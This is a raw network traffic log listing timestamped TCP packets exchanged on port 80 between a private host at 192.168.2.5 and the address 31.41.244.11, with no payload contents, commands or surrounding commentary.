Dec 18, 2024 19:08:53.023632050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.025512934 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.025557995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.025579929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.025620937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.027548075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.027590990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.027738094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.027776957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.029715061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.029746056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.029769897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.029791117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.031682014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.031712055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.031733990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.031780005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.033664942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.033725977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.034238100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.034274101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.035846949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.035893917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.036204100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.036247015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.037945032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.037995100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.038173914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.038216114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.039902925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.039951086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.040117979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.040164948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.042056084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.042108059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.042232037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.042277098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.043996096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.044037104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.044059992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.044101000 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.046032906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.046077013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.046138048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.046176910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.048049927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.048094034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.048121929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.048168898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.050137997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.050193071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.050225973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.050268888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.052165985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.052210093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.052268028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.052306890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.054263115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.054337978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.054368019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.054527044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.056315899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.056364059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.056366920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.056408882 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.058404922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.058456898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.058522940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.058564901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.060471058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.060524940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.060556889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.060595989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.062535048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.062587023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.062668085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.062707901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.064582109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.064635038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.064647913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.064685106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.066684008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.066742897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.066867113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.066909075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.068736076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.068806887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.068809032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.068845987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.070801020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.070844889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.071034908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.071082115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.072832108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.072880030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.072938919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.072993040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.074956894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.075006962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.075074911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.075114965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.076956034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.076996088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.077138901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.077178955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.078979015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.079025984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.079236984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.079281092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.081039906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.081085920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.081548929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.081589937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.083345890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.083393097 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.083669901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.083713055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.085140944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.085190058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.085438967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.085479021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.087214947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.087275028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.087371111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.087410927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.089364052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.089405060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.089416027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.089442968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.091389894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.091443062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.091492891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.091530085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.093369007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.093413115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.093491077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.093532085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.095405102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.095457077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.095580101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.095621109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.097489119 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.097537994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.097721100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.097762108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.099525928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.099571943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.099602938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.099648952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.101612091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.101660013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.101835966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.101877928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.103770971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.103831053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.103956938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.104010105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.105811119 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.105858088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.105983973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.106024027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.107780933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.107831955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.107897043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.107934952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.109916925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.109967947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.109992981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.110069990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.111968994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.112040997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.112050056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.112091064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.113943100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.113987923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.114021063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.114059925 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.116013050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.116091013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.116177082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.116218090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.118091106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.118155003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.118195057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.118230104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.120137930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.120227098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.120299101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.120450974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.123584986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.123636961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.123907089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.123951912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.127079964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.127137899 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.127204895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.127274990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.130438089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.130508900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.130526066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.130568027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.133860111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.133914948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.134083986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.134130001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.137298107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.137357950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.137523890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.137569904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.140760899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.140818119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.140856028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.140897036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.144208908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.144265890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.144412041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.144453049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.147670031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.147717953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.147764921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.147804022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.150990963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.151038885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.151356936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.151397943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.154320002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.154494047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.154697895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.154736042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.157699108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.157742977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.157800913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.157840014 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.161200047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.161262035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.161465883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.161509037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.163489103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.163542032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.163671970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.163714886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.166084051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.166131973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.166450024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.166486979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.168411970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.168454885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.168493032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.168528080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.170747995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.170785904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.170815945 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.170855045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.173302889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.173352003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.173491955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.173532009 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.175546885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.175590992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.175684929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.175724983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.177953005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.177998066 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.178456068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.178510904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.180387020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.180434942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.180648088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.180690050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.182794094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.182845116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.183758020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.183808088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.185035944 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.185084105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.185220003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.185262918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.188380957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.188435078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.188710928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.188752890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.189740896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.189785957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.189965963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.190009117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.192100048 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.192150116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.192208052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.192250013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.194605112 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.194655895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.194730043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.194777966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.196644068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.196696997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.196805954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.196846962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.199081898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.199142933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.199373960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.199420929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.201344967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.201395035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.201474905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.201525927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.203739882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.203799009 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.203895092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.203933954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.206044912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.206090927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.206130981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.206167936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.208381891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.208429098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.208486080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.208524942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.210879087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.210926056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.211103916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.211150885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.213078976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.213150978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.213193893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.215364933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.215645075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.215696096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.217721939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.217767000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.217768908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.217806101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.220014095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.220927000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.221018076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.222306013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.222357035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.222596884 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.222641945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.224569082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.224726915 CET	80	49739	31.41.244.11	192.168.2.5
